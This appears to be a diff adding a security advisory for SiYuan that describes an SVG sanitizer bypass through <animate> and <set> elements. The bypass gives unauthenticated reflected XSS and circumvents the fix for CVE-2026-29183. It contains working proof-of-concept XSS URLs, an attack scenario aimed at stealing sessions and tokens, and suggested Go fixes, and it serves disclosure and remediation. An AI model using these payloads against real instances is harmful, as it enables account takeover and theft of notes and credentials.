+ "details": "# SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS\n\n## Summary\n\nSiYuan's SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`<script>`, `<iframe>`, `<foreignobject>`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`<animate>`, `<set>`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS.\n\nThis is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated)\n- **Version:** SiYuan <= 3.5.9\n\n## Root Cause\n\nThe sanitizer checks attributes on elements at **parse time**. SVG `<animate>` and `<set>` elements modify attributes **at runtime** — these elements are not in the sanitizer's blocklist.\n\n### Sanitizer's blocklist (line 250)\n\n```go\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" || tag == \"foreignobject\" {\n n.RemoveChild(c)\n // ...\n}\n```\n\nMissing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion`\n\n### Attribute check (lines 264-267)\n\n```go\n// Only checks static attributes\nif strings.HasPrefix(key, \"on\") {\n continue\n}\n```\n\nThe `<animate>` element's `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through.\n\n## Proof of Concept\n\n### Vector 1: `<animate>` sets `href` to `javascript:`\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/><text x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\">Click me</text></a><text>&color=blue\n```\n\nAfter template rendering, the SVG contains:\n```xml\n<svg ...>\n <text ...></text>\n <a>\n <animate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/>\n <text x=\"50%\" y=\"80%\" fill=\"red\" style=\"font-size:60px\">Click me</text>\n </a>\n <text></text>\n</svg>\n```\n\nThe sanitizer passes this through because:\n1. `<animate>` is not in the element blocklist\n2. `attributeName=\"href\"` — key is `attributename`, doesn't start with `on`, not `href` itself\n3. `values=\"javascript:...\"` — key is `values`, not `href`\n\nWhen the SVG is rendered in the browser (navigating directly to the URL), `<animate>` sets the parent `<a>` element's `href` to `javascript:alert(document.domain)`. Clicking \"Click me\" triggers the JavaScript.\n\n### Vector 2: `<set>` modifies event handlers\n\n```\nGET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName=\"onmouseover\" to=\"alert(document.domain)\"/><text>&color=blue\n```\n\nThe `<set>` element dynamically adds an `onmouseover` event handler to the parent element at runtime.\n\n## Attack Scenario\n\n1. Attacker crafts a malicious `getDynamicIcon` URL with XSS payload\n2. Attacker sends the URL to a victim who has an active SiYuan session\n3. Victim clicks/navigates to the URL\n4. SVG renders with Content-Type `image/svg+xml` — browser renders as standalone SVG document\n5. JavaScript executes in the SiYuan server's origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin, giving full access to authenticated APIs\n- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)\n- Bypasses the fix for CVE-2026-29183\n\n## Suggested Fix\n\nAdd animation elements to the sanitizer blocklist:\n\n```go\n// In SanitizeSVG, line 250:\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" ||\n tag == \"foreignobject\" || tag == \"animate\" || tag == \"set\" ||\n tag == \"animatetransform\" || tag == \"animatemotion\" {\n n.RemoveChild(c)\n c = next\n continue\n}\n```\n\nOr additionally check the `values`, `to`, and `from` attributes for `javascript:` patterns:\n\n```go\nif key == \"values\" || key == \"to\" || key == \"from\" {\n if strings.Contains(val, \"javascript:\") {\n continue\n }\n}\n```\n\nAlso consider checking `attributeName` — if it targets `href`, `xlink:href`, or any `on*` attribute, the animation element should be removed entirely.",
0 commit comments